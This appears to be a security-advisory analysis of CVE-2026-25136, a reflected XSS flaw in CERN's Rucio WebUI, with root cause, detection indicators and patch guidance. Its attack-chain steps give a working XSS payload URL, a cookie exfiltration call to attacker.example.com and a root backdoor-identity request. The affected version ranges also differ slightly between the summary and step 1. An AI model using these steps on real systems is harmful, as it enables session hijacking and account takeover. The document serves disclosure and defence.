CVE-2026-25136: 
Python vulnerability analysis and mitigation

CVE-2026-25136 is a reflected Cross-Site Scripting (XSS) vulnerability in the Rucio WebUI, a scientific data management platform developed by CERN. The flaw exists in the rendering of the ExceptionMessage field within WebUI 500 error responses, where user-controlled input is injected into the DOM without sanitization. It affects rucio-webui (pip) versions before 35.8.3, versions 36.0.0rc1 through 38.5.4, and versions 39.0.0rc1 through 39.3.1. The vulnerability was published on February 25, 2026, with patches released the same day. It carries a CVSS v3.1 base score of 8.1 (High) per the GitHub Advisory (Github Advisory, Rucio Advisory).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-1004 (Sensitive Cookie Without 'HttpOnly' Flag). The server-side code in common.py — specifically the error_headers → _error_response → generate_http_error_flask call chain — places the ExceptionMessage (which can contain user-controlled values such as account, attribute, or scope parameters) directly into HTTP response headers and the JSON body without encoding. The WebUI client-side JavaScript files (e.g., rule.js, request_rule.js, list_rules.js) then inject this value into the DOM using unsafe jQuery methods like .html(...), enabling script execution. The attack requires no privileges and is triggered via a network-accessible crafted URL, though user interaction (clicking the link) is required (Github Advisory, Rucio Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an authenticated user's browser session. Because session cookies lack the HttpOnly flag and no Content Security Policy is enforced, attackers can steal session tokens and use them to impersonate victims. Beyond session hijacking, attackers can perform privileged actions on behalf of the victim — including creating new UserPass identities with attacker-controlled credentials for high-privilege accounts such as root, effectively achieving account takeover. All authenticated WebUI users are in scope (Rucio Advisory, Github Advisory).

A proof-of-concept exploit is publicly available in the GitHub security advisory, demonstrating both session token theft and account takeover via crafted URLs. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.08% (24th percentile), indicating a low but non-negligible probability of exploitation in the near term. No threat actor attribution has been reported (Github Advisory, Rucio Advisory).

1. Reconnaissance: Identify internet-facing Rucio WebUI instances running vulnerable versions (before 35.8.3, 36.0.0–38.5.3, or 39.0.0–39.3.0) using Shodan, Censys, or similar tools.
2. Craft malicious URL: Construct a URL targeting a WebUI endpoint that reflects user input in error messages, such as /ui/account_rse_usage, with an XSS payload in the account parameter. Example: https://<target>:8443/ui/account_rse_usage?account=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E
3. Deliver the link: Send the crafted URL to an authenticated Rucio WebUI user via phishing email, chat message, or other social engineering vector.
4. Trigger XSS: When the victim navigates to the URL, the server returns a 500 error with the unencoded ExceptionMessage containing the payload. The WebUI JavaScript injects it into the DOM via .html(...), executing the attacker's script.
5. Exfiltrate session token: The injected script reads document.cookie (possible because the HttpOnly flag is absent) and sends it to an attacker-controlled server, e.g., via GET https://attacker.example.com/rucio/{BASE64_COOKIE}.
6. Account takeover (optional): Use a more complex payload to issue a PUT request to /identities/root/userpass with attacker-controlled credentials, creating a backdoor identity on the root account while the victim's session is active (Rucio Advisory, Github Advisory).

• Network: Outbound GET requests from the Rucio server's browser clients to unknown external hosts with Base64-encoded strings in the URL path (e.g., GET https://attacker.example.com/rucio/<base64_data>); unexpected PUT requests to /identities/root/userpass or similar identity endpoints originating from WebUI sessions.
• Logs: Rucio WebUI access logs showing requests to /ui/account_rse_usage or similar endpoints with URL-encoded HTML/script tags in query parameters (e.g., %3Cimg, %3Cscript, onerror=); 500 error responses containing ExceptionMessage with HTML tag content.
• File System / Application: New or unexpected UserPass identities created for privileged accounts (e.g., root) that were not provisioned by administrators; review /ui/list_accounts and identity management logs for unauthorized entries.
• Process/Session: Authenticated sessions performing privileged API calls (identity creation, attribute modification) immediately after navigating to error-generating URLs (Rucio Advisory).

Upgrade rucio-webui to one of the patched versions: 35.8.3 (for the 35.x LTS branch), 38.5.4 (for versions 36.0.0–38.x), or 39.3.1 (for versions 39.0.0 and above) (Rucio 35.8.3, Rucio 38.5.4, Rucio 39.3.1). As a defense-in-depth measure, implement a Content Security Policy (CSP) header to restrict inline script execution and set the HttpOnly flag on session cookies to limit token theft even if XSS occurs. Avoid exposing API tokens as JavaScript variables in authenticated page responses. If immediate upgrade is not possible, restrict access to the Rucio WebUI to trusted networks only (Github Advisory).

The vulnerability was reported by security researcher d-woosley and published by the Rucio maintainer bziemons on February 25, 2026. Red Hat acknowledged the CVE in their security tracking on February 26, 2026 (Red Hat CVE). Brief community discussion was observed on Bluesky and Mastodon, with automated CVE tracking accounts noting the disclosure. No major media coverage or significant public researcher commentary beyond the advisory itself has been identified.